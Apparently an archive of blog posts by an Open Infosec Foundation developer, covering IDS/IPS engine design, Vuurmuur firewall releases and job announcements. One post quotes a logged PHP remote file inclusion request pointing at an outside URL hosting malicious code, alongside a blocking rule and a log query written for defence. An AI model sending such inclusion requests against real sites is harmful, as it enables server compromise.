Funny how things go: not long ago I posted here that I was looking for (contract) work, today I’m posting that we’re looking for people to work for us at the OISF project 
Anyway, have a look at Matt Jonkman’s announcement here.
If you’re interested or know someone that is, please contact us!
A new version of Vuurmuur is out: 0.7. This release mainly fixes bugs and build issues. Translations are generated and installed again, lots of traffic shaping fixes were made.
Support for pmtu MSS clamping was added, as was support for NAT source port randomization.
See http://www.vuurmuur.org/trac/wiki/Changelog for all changes.
Debs for Debian and Ubuntu are available, see
http://www.vuurmuur.org/trac/wiki/InstallationDebian
The source installer and Autopackage are on the ftp server:
ftp://ftp.vuurmuur.org/releases/0.7/
Looking forward, I’m planning on improving the services handling in 0.8. Especially supporting all protocols from /etc/protocols, instead of just a small list of hardcodes ones. Check http://www.vuurmuur.org/trac/milestone/0.8 to monitor the plans and progress on the 0.8 release. Suggestions & help are welcome!
Update November 3rd: RPMS are available as well: ftp://ftp.vuurmuur.org/releases/0.7/contrib/
The next stable version of Vuurmuur, 0.7, is getting close. Last week I released release candidate 3. If you’re a Vuurmuur user, please try 0.7rc3 and report back to me on how it works! For a list of changes, please see the closed tickets. Thanks!
I’ve been thinking about how to deal with streams in the OISF engine. We need to do stream reassembly to be able to handle spliced sessions, otherwise it would be very easy to evade detection. Snort traditionally used an approach of inspecting the packets individually and reassembling (part of) the stream in a pseudo packet, that was inspected mostly like a normal packet. Recent Snort versions, especially when Stream5 was introduced, have a so called stream api. This enables detection modules to control the reassembly better.
In Snort_inline’s Stream4 I’ve been experimenting with ways to improve stream reassembly in an inline setup. The problem with Snort’s pseudo packet scanning way of operation is that it’s after the fact scanning. Which means that any threat detected in the reassembled stream can’t be dropped anymore. The way I tried to work around this was by constantly scanning a sliding window of reassembled unacked data. It worked quite well, except for the performance of it. That was quite bad.
I’m thinking about a stream reassembler for the OISF engine that can both do the after-the-fact pseudo packet scanning and do a sliding window approach as I did in stream4inline. This would be used for the normal tcp signatures. I think it should be possible to determine the minimal size of the reassembled packet based on the signatures per port, possibly more fine grained. Of course things like target based reassembly and robust reassembly will be part of it.
In addition to this I’m thinking about a way to make modules act on the stream similary to how programs deal with sockets. Code that only wakes up if a new piece of data in that connection is received, with semantics similar to recv()/read(). I haven’t really made up my mind about how such an api should work exactly, but I think it would be very useful to detection module writers if they only have to care about handling the next chunk of data.
I haven’t implemented any of this yet, but I plan to start working on this soon. I’ll start with simple TCP state tracking that I’m planning to build on top of the flow handling already implemented. I’ll blog about this as I go…
In Januari I first wrote about my prototype code for the OISF engine. The first thing I started with when creating the code was the threading. The current code can run as a single thread or with many threads. In my normal testing I run with about 11 threads, 10 of which handle packets, 1 is a management thread.
The basic principle in the threading is that a packet is always handled by one thread at a time only. The reason for this is that it saves a lot of locking issues. If there is more than one thread, the engine can handle multiple packete simultaniously.
All functionality is created in what I call threading modules. Such a module is run in a thread. Threads can have one or more of the modules running. Examples of these modules are Decoding, Detection, Alerting, etc. I intend to make these modules plugins in the future so that 3rd party modules can be loaded without recompiling the codebase.
The threading model works both in a parallel and serial way. The parallel way can be used to have multiple threads doing the same jobs, for example have 2 threads both acquire packets, decoding, detection and alerting. The serial way of threading works differently. In that case a thread has a limited number of tasks (e.g. Decoding) and if it’s done with a packet it passes the packet on to the next thread (that for example does Detection). Both methods can be combined, which I use by default: I have 1 packet aquiring thread, 2 decoding, 2 detection, 1 verdict (I’m using nfq), and a few alerting and active response threads.
Between the (serial) threads queue’s are used to transfer the packet from one thread to another. A queue can contain multiple packets. In the above example, the nfq packet acquire thread can read packets from the queue as fast as it can and put them in it’s queue. The 2 decoding threads then get packets from this queue as fast as they can. Then they put them in the next queue where they are picked up again, etc.
Using the queue’s code paths can also be determined. It’s possible for example to have IPv4 packets be handled by different threads than IPv6 packets. Or packets with alerts differently from packets that didn’t have alerts.
One big challenge is that this is all extremely complex & configurable. Threads have to created, queue’s, queue handlers, CPU affinity can be set per thread, threading modules need to be assigned to threads, etc. I think power users & apliance builders would be interested in having all these options, but for casual users it’s probably (way) too complex to be bothered with. So some reasonable defaults need to be created, maybe in the form of having a number of pre-configure profiles.
Running a PHP based blog, I see a lot of attempts to include code hosted elsewhere in requests. A long time ago I added a simple rule to block one type of the these attempts. A typical attempt looks like this:
GET /blog/category/index.php?page=http://www.djrady.ru/includes/conf.txt?? HTTP/1.1
Notice the trailing questionmarks? Turns out these are always present, so very easy to block on. I’m doing that for a long time now, never seen a single false positive. The rule looks like this:
SecRule ARGS:/.*/ “https?.*\?$” “msg:’LOCAL PHP ? link code inclusion attempt’,severity:1,phase:1″
This rule looks at all request args, and checks if their value contains http or https and if it ends with a questionmark. If so, the request is blocked.
Today I was thinking that the URI’s that are included probably contain some badness, and it would be interesting to look what all the URI’s are. Using modsec2sguil I’m adding all ModSecurity events to Sguil, so this was going to be an interesting MySQL challenge!
The query I came up with is this:
SELECT COUNT(*) AS cnt, INET_NTOA(src_ip) AS “Source IP”, trim(LEADING “=” FROM substring_index(substr(unhex(data_payload),locate(‘=http’,unhex(data_payload))), ‘\?’, 1)) AS url FROM event INNER JOIN data ON event.sid = data.sid and event.cid = data.cid WHERE (timestamp >= ’2009-01-13′ AND signature LIKE “MSc 403 LOCAL PHP \?%”) GROUP BY src_ip,url ORDER BY cnt DESC LIMIT 10;
The result is here (click here for full picture):
I get about 10 url’s like this a day, usually they are tried more than once. So what is at these links? The first one gave a 404, so let’s look at the second one. It’s a jpg, thats a picture right? Wrong!
I downloaded the file and opened it in vim. As you can see in this fragment, this is php code…
Anyone know if there is some place I can report these url’s to on a daily/weekly basis?
For over a year I’ve been working on a prototype implementation of a new IDS/IPS engine for the Open Infosec Foundation. This is not necessarily going to be the engine we’ll be using in OISF, although it’s likely that at least some of the code will be used. Discussions about features for the engine are still ongoing (wiki, list), once that settles down we’ll see whats usable and whats not. In the worst case I still think many parts like hashing functions, pattern matcher implementations, protocol decoders, etc can be used.
So what is there so far? It’s all new code written in the C language and has about 30k lines of code in 150+ files so far. It’s fully threaded in a way that should make it very scalable on many cores/cpu’s. More about the threading in a future post. The code is heavily unit tested, which really helps a lot in preventing and tracing bugs.
Right now it’s limited to being an inline IDS/IPS, using the libnetfilter_queue interface in Linux to acquire and verdict packets. The packet input and verdict subsystem is very modular (I learned a lot from the mess we created in Snort_inline, where we supported 3 types of inline packet capture methods, creating a true #ifdef hell). It has working protocol decoders for IPv4 and IPv6, TCP and UDP. It has a flow engine, a detection engine and output plugins.
For rules/signatures it currently only supports the Snort signature syntax, and loads about 70% of the current VRT and Emerging Threats signatures out there. The biggest thing missing is support for the flowbits option, which is used in a lot of the sigs. It has basic HTTP parsing, enabling at least uri matching.
A lot of things are missing too. For example there is fragment handling, TCP stream state tracking, TCP stream reassembly, a pcap mode, portscan detection, a flowbits like function, normalization, etc, etc.
There are a lot of plans and ideas, for example having output pipes for configurable captured network data. It’s already possible to capture for example a user agent in a rule and match on that captured data. I think it would be very useful to be able to have some pipe to an external program that receives just the user agents and does something with them. Many many more ideas and usecases exist and I hope to write about that more at a later stage.
The most interesting about writing this code is that every time I’m working on some part, I’m getting more and more ideas about possibilities for improvements, optimizations and such. I intent to share those here on my blog from now. Also, I intent to write about the various parts of the code I wrote already. So stay tuned!
I’ve registered myself as a seller of services on SourceForge’s Open Source Marketplace. I’ve done so offering software development services for the Snort, Snort_inline and Vuurmuur projects. I was wondering if anyone has any experience (good or bad) with the Marketplace system, either as a buyer or seller of services. Let me know!
This year there will be a lot of work that needs to be done for the Open Infosec Foundation. And like I wrote a few days ago, a lot of work is already being done. However, most of it is unpaid at this time as it will be some months before our funding comes in. So at least until then I’m available and looking for contract work.
For the last two years I’ve been doing work as a contractor in the (open source) security field. My experience is mostly in coding in C and Perl, primarily on Snort and Snort_inline. Recently I created the (Perl language) SidReporter program for Emerging Threats. Areas I worked in: IPv6 IDS/IPS coding, signature writing, Web Application Firewalls, threading, bandwidth accounting, and more…
Checkout my LinkedIn profile for more info. My resume is available on request.
If you have some work or know someone that does, please let me know!
The year 2008 was an exciting year to me. The biggest thing going on the infosec side was the formation of the Open Infosec Foundation. We’ve been working on it behind the scenes for more than a year now, and it’s cool that we’ve finally announced our plans. Of course, the work is just getting started. Next year, we expect to finalize our foundation setup. We’re working with the Software Freedom Law Center for setting up the foundation charter and consortium rules. While the US government is funding us initially, we hope the consortium will guarantee our long term funding. We are talking to some interesting companies already, both big and small.
The last year I’ve been working on a prototype of the engine we’re building as well. It’s private for now as the foundation licensing terms & conditions haven’t been determined yet. I’m writing it mostly to learn. While I’ve been working as a developer on the Snort_inline project for a number of years already and as a contractor on several Snort related projects, I never learned so much about IDS/IPS technology as I’m doing now. The prototype may or may not be used (partly) for the engine once we got our feature list complete. We’ll see about that when the time is there. I plan to blog more about this codebase in the new year.
In 2008 we had our first brainstorming session, and to us it was very successful. In 2009 we’re hoping to do a few more. Stay tuned for the dates and places. I hope we can continue our feature discussions in the new year and give the foundation further shape. And don’t forget to suggest us a name for the engine… “OISF engine” just doesn’t sound cool enough! 
